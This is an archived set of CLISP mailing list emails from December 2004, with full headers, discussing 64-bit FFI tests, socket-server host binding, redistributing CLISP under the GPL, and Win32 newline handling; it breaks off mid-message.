17 Dec 2004 15:50:44 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 17 Dec 2004 15:51:01 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0302A45104@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: pjb@informatimago.com Subject: Re: [clisp-list] 64-bit FFI MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-15" Content-Transfer-Encoding: quoted-printable X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 17 06:52:01 2004 X-Original-Date: Fri, 17 Dec 2004 15:50:59 +0100 Pascal, >It seems that 64-bit FFI doesn't work. >The code generated is ok, the C compiler push and fetches the 64-bit >arguments on the stack, but it doesn't work with these FFI=20 >declarations: While I couldn't make much sense of this bug report (e.g. it's left = unclear to me whether it only concerns Alpha, Athlon or whatever = processors (none of which I have access to)), it's actually a sad = matter of fact that testcases for 64bit FFI operations are not present = in the CLISP testsuite. The reason is that at the time, long long arithmetic was not available = on all platforms where CLISP ran on, and I had no plan to make = conditional testcases. #ifdef HAVE_LONGLONG is in foreign.d all around 64bit support HAVE_LONGLONG must also be built into the ffcall library. These days, I believe it can possibly -- I don't know, Sam can = probably tell -- be assumed that all C compilers used to build CLISP = have 64bit int support (I know for sure that gcc and MS-VC have it), so = such testcases could be added inconditionaly to ffi.tst, or 64bit error = messages ignored on such feature-challenged C compilers or something = else be done to have these features tested conditionally (e.g. if = (some-test) (do-load-test "ffi64.tst")). Maybe that would have helped discover the error you talk about. Regards, J=F6rg H=F6hle. From pjb@informatimago.com Fri Dec 17 08:13:21 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CfKjI-00024x-JD for clisp-list@lists.sourceforge.net; Fri, 17 Dec 2004 08:13:20 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CfKjB-0006n2-Of for clisp-list@lists.sourceforge.net; Fri, 17 Dec 2004 08:13:20 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id CAE65586E2; Fri, 17 Dec 2004 17:12:45 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id A5DCE4FA6; Fri, 17 Dec 2004 17:12:44 +0100 (CET) Message-ID: <16835.1404.631559.415355@thalassa.informatimago.com> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] 64-bit FFI In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0302A45104@S4DE8PSAAGS.blf.telekom.de> References: <5F9130612D07074EB0A0CE7E69FD7A0302A45104@S4DE8PSAAGS.blf.telekom.de> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 17 08:14:01 2004 X-Original-Date: Fri, 17 Dec 2004 17:12:44 +0100 Hoehle, Joerg-Cyril writes: > Pascal, > > >It seems that 64-bit FFI doesn't work. > >The code generated is ok, the C compiler push and fetches the 64-bit > >arguments on the stack, but it doesn't work with these FFI > >declarations: > > While I couldn't make much sense of this bug report (e.g. it's left > unclear to me whether it only concerns Alpha, Athlon or whatever Sorry for the lack of context. The problem occurs on 32-bit Athlon (K6). I've not checked elsewhere. > processors (none of which I have access to)), it's actually a sad > matter of fact that testcases for 64bit FFI operations are not > present in the CLISP testsuite. > > The reason is that at the time, long long arithmetic was not > available on all platforms where CLISP ran on, and I had no plan to > make conditional testcases. #ifdef HAVE_LONGLONG is in foreign.d > all around 64bit support HAVE_LONGLONG must also be built into the > ffcall library. > > These days, I believe it can possibly -- I don't know, Sam can > probably tell -- be assumed that all C compilers used to build CLISP > have 64bit int support (I know for sure that gcc and MS-VC have it), > so such testcases could be added inconditionaly to ffi.tst, or 64bit > error messages ignored on such feature-challenged C compilers or > something else be done to have these features tested conditionally > (e.g. if (some-test) (do-load-test "ffi64.tst")). > > Maybe that would have helped discover the error you talk about. > > Regards, > Jörg Höhle. -- __Pascal_Bourguignon__ . * . .* http://www.informatimago.com/ * . . /\ ( . . * . . / .\ . * . .*. / * \ . . . /* o \ . * '''||''' . ****************** From sds@gnu.org Sat Dec 18 13:44:16 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CfmN5-0007rM-SZ for clisp-list@lists.sourceforge.net; Sat, 18 Dec 2004 13:44:15 -0800 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CfmN5-00042H-5A for clisp-list@lists.sourceforge.net; Sat, 18 Dec 2004 13:44:15 -0800 Received: from 65-78-14-157.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.14.157] helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1CfmMn-0000pu-00; Sat, 18 Dec 2004 16:43:57 -0500 To: Bruno Haible Cc: Adam Warner ,clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-To: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200412181859.13042.bruno@clisp.org> (Bruno Haible's message of "Sat, 18 Dec 2004 18:59:13 +0100") References: <200412181859.13042.bruno@clisp.org> Mail-Followup-To: Bruno Haible , Adam Warner ,clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: Socket server bound solely to localhost? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 18 13:45:00 2004 X-Original-Date: Sat, 18 Dec 2004 16:43:57 -0500 > * Bruno Haible [2004-12-18 18:59:13 +0100]: > >> > (SOCKET:SOCKET-SERVER &OPTIONAL [port-or-socket]) >> > This function creates a socket an binds a port to the socket. The >> > server exists to watch for client connect attempts. The optional >> > argument is either a port (positive FIXNUM) or a SOCKET:SOCKET-STREAM >> > (from whose peer the connections will be made). > > This is a doc bug: "from whose peer" should be "from whose local host > name" (that's what the code does). I don't think so. the intent is that the new SOCKET-SERVER should be accessible from the remote end (= peer) of the SOCKET-STREAM. >> I think you will get what you want if you call SOCKET-SERVER on a socket >> connected to localhost. > > Yes, but it's strange to create a SOCKET-STREAM just to be able to > specify a host restriction to SOCKET-SERVER. indeed. >> > I suggest the interface should be: >> > (SOCKET:SOCKET-SERVER &OPTIONAL [port-or-socket] [host]) >> > >> > Where a [host] of NIL binds to all network interfaces (thus being >> > backwards compatible) and a supplied [host] only binds to the designated >> > network interface (usually localhost/127.0.0.1 or the hostname). > > This leads to ill-specified cases when the first argument is a socket and > the second one is a hostname. > > I think it's more appropriate to extend the possible values for the > first argument: either > - a port (a number), or > - a hostname (a string), or > - a two-element list (hostname port), or > - a socket-stream (whose hostname is used and whose port is ignored). the bad thing is that one would have to cons up a list. also, a cons cell (port . hostname) should also be acceptable. since SOCKET-CONNECT takes port as the first argument and host as the second one, I think here port should come first too. actually, we can dispatch on type of the list element (host is a string, port is a number). -- Sam Steingold (http://www.podval.org/~sds) running w2k Single tasking: Just Say No. From berlin.brown@gmail.com Sun Dec 19 06:52:55 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cg2QY-0004Iz-QX for clisp-list@lists.sourceforge.net; Sun, 19 Dec 2004 06:52:54 -0800 Received: from rproxy.gmail.com ([64.233.170.192]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cg2QZ-0007RG-7R for clisp-list@lists.sourceforge.net; Sun, 19 Dec 2004 06:52:55 -0800 Received: by rproxy.gmail.com with SMTP id f1so11526rne for ; Sun, 19 Dec 2004 06:52:53 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=tOq5iM+i4Byr0H9O+pwTIeuH2g5WznZ1uH5oLmj4mSIovHY81WZrJomn59oFpB6k8Ij7XoPTXZzQc3ZKupeesiyiXCLlHh22AZTMxJ4qjKNM2crbd7DtxOzdvUacRMAmkP11+MPrId/C/5vgD4yU1ky0ILqIwYjwB93FBCdJxmY= Received: by 10.38.152.55 with SMTP id z55mr66929rnd; Sun, 19 Dec 2004 06:52:53 -0800 (PST) Received: by 10.39.1.31 with HTTP; Sun, 19 Dec 2004 06:52:53 -0800 (PST) Message-ID: From: Berlin Brown Reply-To: Berlin Brown To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Distribute CLISP, and directories needed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 19 06:53:01 2004 X-Original-Date: Sun, 19 Dec 2004 09:52:53 -0500 I want to distribute CLISP, without installing it on other computers. I have tried it with just the 'full' directory and it worked fine, this is only a 3MB setup. But I was wondering are the other directories needed, for example 'src'/'data'? Those only add 4 MB so it really doenst hurt, but I was wondering. I looks like those must be comiled into the *.mem stuff? Berlin Brown From berlin.brown@gmail.com Sun Dec 19 07:21:27 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cg2sA-0005ln-Uj for clisp-list@lists.sourceforge.net; Sun, 19 Dec 2004 07:21:26 -0800 Received: from rproxy.gmail.com ([64.233.170.200]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cg2sA-0005Gk-GV for clisp-list@lists.sourceforge.net; Sun, 19 Dec 2004 07:21:26 -0800 Received: by rproxy.gmail.com with SMTP id c16so17577rne for ; Sun, 19 Dec 2004 07:21:24 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=pCT4bT/cKuefUGeoRGPB2GtaeBgiI63ChNUNCm5k/dO1J1AnFE9itRQ823dU1CmuZGunZXydTPwdJR5rWhfTLvjHLomk9zCiJyPjiiwruTns+hM/J7pkyVqUOfiSffs4/Pp81xTpGS39z1uztNkU6ibsNXIwdmspv2yMy9Gloo0= Received: by 10.38.6.75 with SMTP id 75mr531156rnf; Sun, 19 Dec 2004 07:21:24 -0800 (PST) Received: by 10.39.1.31 with HTTP; Sun, 19 Dec 2004 07:21:24 -0800 (PST) Message-ID: From: Berlin Brown Reply-To: Berlin Brown To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Format and ~A and win32 'Return' added Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 19 07:22:02 2004 X-Original-Date: Sun, 19 Dec 2004 10:21:24 -0500 I could be wrong on this, I have noticed that (format nil "~A" 1) adds a #\Return character to the end of this code? is this true. I was doing some socket code and for example: (format nil "~A~C~C" 1 #\Return #\Newline) will come out as 1 0x0D 0x0D 0x0A is this true on a win32 system or is this part of the HyperSpec? From edi@agharta.de Sun Dec 19 07:58:14 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cg3Rl-0007iL-Vh for clisp-list@lists.sourceforge.net; Sun, 19 Dec 2004 07:58:13 -0800 Received: from ns.agharta.de ([62.159.208.90] helo=miles.agharta.de ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cg3Rl-0001ph-8f for clisp-list@lists.sourceforge.net; Sun, 19 Dec 2004 07:58:13 -0800 Received: by miles.agharta.de (Postfix, from userid 1000) id C61AA2CC0E4; Sun, 19 Dec 2004 16:58:07 +0100 (CET) To: Berlin Brown Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Format and ~A and win32 'Return' added References: From: Edi Weitz X-Home-Page: http://weitz.de/ Mail-Copies-To: never In-Reply-To: (Berlin Brown's message of "Sun, 19 Dec 2004 10:21:24 -0500") Message-ID: <874qii1drk.fsf@miles.agharta.de> User-Agent: Gnus/5.1007 (Gnus v5.10.7) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 19 07:59:01 2004 X-Original-Date: Sun, 19 Dec 2004 16:58:07 +0100 On Sun, 19 Dec 2004 10:21:24 -0500, Berlin Brown wrote: > I could be wrong on this, I have noticed that (format nil "~A" 1) > adds a #\Return character to the end of this code? is this true. I > was doing some socket code and for example: > > (format nil "~A~C~C" 1 #\Return #\Newline) > > will come out as 1 0x0D 0x0D 0x0A > > is this true on a win32 system or is this part of the HyperSpec? It's most likely that #\Newline will be translated to 0x0D 0x0A on Win32 systems which is conforming to the standard. Try using #\Linefeed instead or use a non-Windows external format - that should do it. Cheers, Edi. From sds@gnu.org Sun Dec 19 10:17:15 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cg5cI-0006ao-VE for clisp-list@lists.sourceforge.net; Sun, 19 Dec 2004 10:17:14 -0800 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cg5cI-0001r8-8i for clisp-list@lists.sourceforge.net; Sun, 19 Dec 2004 10:17:14 -0800 Received: from 65-78-14-157.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.14.157] helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1Cg5cH-0004SS-00; Sun, 19 Dec 2004 13:17:13 -0500 To: clisp-list@lists.sourceforge.net, Berlin Brown Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Berlin Brown's message of "Sun, 19 Dec 2004 10:21:24 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Berlin Brown Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: Format and ~A and win32 'Return' added Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 19 10:18:00 2004 X-Original-Date: Sun, 19 Dec 2004 13:17:12 -0500 > * Berlin Brown [2004-12-19 10:21:24 -0500]: > > I could be wrong on this, I have noticed that (format nil "~A" 1) adds > a #\Return character to the end of this code? is this true. I was > doing some socket code and for example: > > (format nil "~A~C~C" 1 #\Return #\Newline) > > will come out as 1 0x0D 0x0D 0x0A > > is this true on a win32 system or is this part of the HyperSpec? -- Sam Steingold (http://www.podval.org/~sds) running w2k When you are arguing with an idiot, your opponent is doing the same. From sds@gnu.org Sun Dec 19 10:23:35 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cg5iR-0006p4-1U for clisp-list@lists.sourceforge.net; Sun, 19 Dec 2004 10:23:35 -0800 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cg5iQ-00039B-8U for clisp-list@lists.sourceforge.net; Sun, 19 Dec 2004 10:23:34 -0800 Received: from 65-78-14-157.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.14.157] helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1Cg5iP-0005Tq-00; Sun, 19 Dec 2004 13:23:33 -0500 To: clisp-list@lists.sourceforge.net, Berlin Brown Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Berlin Brown's message of "Sun, 19 Dec 2004 09:52:53 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Berlin Brown , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: Distribute CLISP, and directories needed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 19 10:24:01 2004 X-Original-Date: Sun, 19 Dec 2004 13:23:32 -0500 > * Berlin Brown [2004-12-19 09:52:53 -0500]: > > I want to distribute CLISP, without installing it on other computers. > I have tried it with just the 'full' directory and it worked fine, > this is only a 3MB setup. But I was wondering are the other > directories needed, for example 'src'/'data'? Those only add 4 MB so > it really doenst hurt, but I was wondering. I looks like those must > be comiled into the *.mem stuff? The answer to your question consists of two parts: LEGAL: CLISP is covered by the GNU GPL. This means that full sources of CLISP must accompany any binary distribution, and, if your Lisp program relies on CLISP internals ("will not run OOTB in other CL implementations", see file COPYRIGHT for details), you must also supply your program sources too. TECHNICAL: for CLISP to run you need 2 files: runtime (lisp.run on Unix, lisp.exe on Woe32) and memory image (lispinit.mem). some other files (contains in the data/ directory) are useful for some things, e.g., CLHS access or Unicode character names, but not for most common programming tasks. Bruno is the ultimate authority on these issues. PS. out of sheer curiosity, do you mind telling us what your program does? -- Sam Steingold (http://www.podval.org/~sds) running w2k ((lambda (x) `(,x ',x)) '(lambda (x) `(,x ',x))) From berlin.brown@gmail.com Sun Dec 19 11:12:12 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cg6TT-0000Zk-SM for clisp-list@lists.sourceforge.net; Sun, 19 Dec 2004 11:12:11 -0800 Received: from rproxy.gmail.com ([64.233.170.199]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cg6TT-0000xm-4e for clisp-list@lists.sourceforge.net; Sun, 19 Dec 2004 11:12:11 -0800 Received: by rproxy.gmail.com with SMTP id f1so26527rne for ; Sun, 19 Dec 2004 11:12:10 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=KO2V+66Q6vGsS7uSJQiM7lh9YzVeMQRspwhA7BVYSzb8EkUMGC5QLRwhbnEBLDw8f29U1y/YdSUvYk4BOi7veRFJN+iFNxVJf7ykzXAfPg0OZIiKSAK/bz9eZ1pe8bqw+prna1J26JrnfPFETo25Kz20Kd7EZTVIg4x/4OcLD2g= Received: by 10.38.9.12 with SMTP id 12mr144428rni; Sun, 19 Dec 2004 11:12:09 -0800 (PST) Received: by 10.39.1.31 with HTTP; Sun, 19 Dec 2004 11:12:09 -0800 (PST) Message-ID: From: Berlin Brown Reply-To: Berlin Brown To: clisp-list@lists.sourceforge.net, Berlin Brown , Bruno Haible In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: Distribute CLISP, and directories needed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 19 11:13:01 2004 X-Original-Date: Sun, 19 Dec 2004 14:12:09 -0500 Nothing yet, I am planning ahead, I was thinking about distributing a small application that I had written in java, for text processing at work, it was a small thing, I always try to avoid people using the installs from vendors. For example, having people installing the java runtime was a mess. With clisp the footprint is a lot smaller. On Sun, 19 Dec 2004 13:23:32 -0500, Sam Steingold wrote: > > * Berlin Brown [2004-12-19 09:52:53 -0500]: > > > > I want to distribute CLISP, without installing it on other computers. > > I have tried it with just the 'full' directory and it worked fine, > > this is only a 3MB setup. But I was wondering are the other > > directories needed, for example 'src'/'data'? Those only add 4 MB so > > it really doenst hurt, but I was wondering. I looks like those must > > be comiled into the *.mem stuff? > > The answer to your question consists of two parts: > > LEGAL: > CLISP is covered by the GNU GPL. This means that full sources > of CLISP must accompany any binary distribution, and, if your > Lisp program relies on CLISP internals ("will not run OOTB in > other CL implementations", see file COPYRIGHT for details), you > must also supply your program sources too. > > TECHNICAL: > for CLISP to run you need 2 files: runtime (lisp.run on Unix, > lisp.exe on Woe32) and memory image (lispinit.mem). > some other files (contains in the data/ directory) are useful > for some things, e.g., CLHS access or Unicode character names, > but not for most common programming tasks. > > Bruno is the ultimate authority on these issues. > > PS. out of sheer curiosity, do you mind telling us what your program does? > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > ((lambda (x) `(,x ',x)) '(lambda (x) `(,x ',x))) > From pjb@informatimago.com Mon Dec 20 11:10:19 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CgSvC-0003Ey-IW for clisp-list@lists.sourceforge.net; Mon, 20 Dec 2004 11:10:18 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CgSv7-0001b3-Jl for clisp-list@lists.sourceforge.net; Mon, 20 Dec 2004 11:10:18 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 5CC35586E4; Mon, 20 Dec 2004 20:09:25 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 446B04FAC; Mon, 20 Dec 2004 20:09:25 +0100 (CET) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: fr, es, en Reply-To: Message-Id: <20041220190925.446B04FAC@thalassa.informatimago.com> X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] interpreted closure vs. dynamic variable ?! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 20 11:11:05 2004 X-Original-Date: Mon, 20 Dec 2004 20:09:25 +0100 (CET) [138]> (defun verouille (mot-de-passe valeur) (let ((val valeur) (mdp mot-de-passe)) 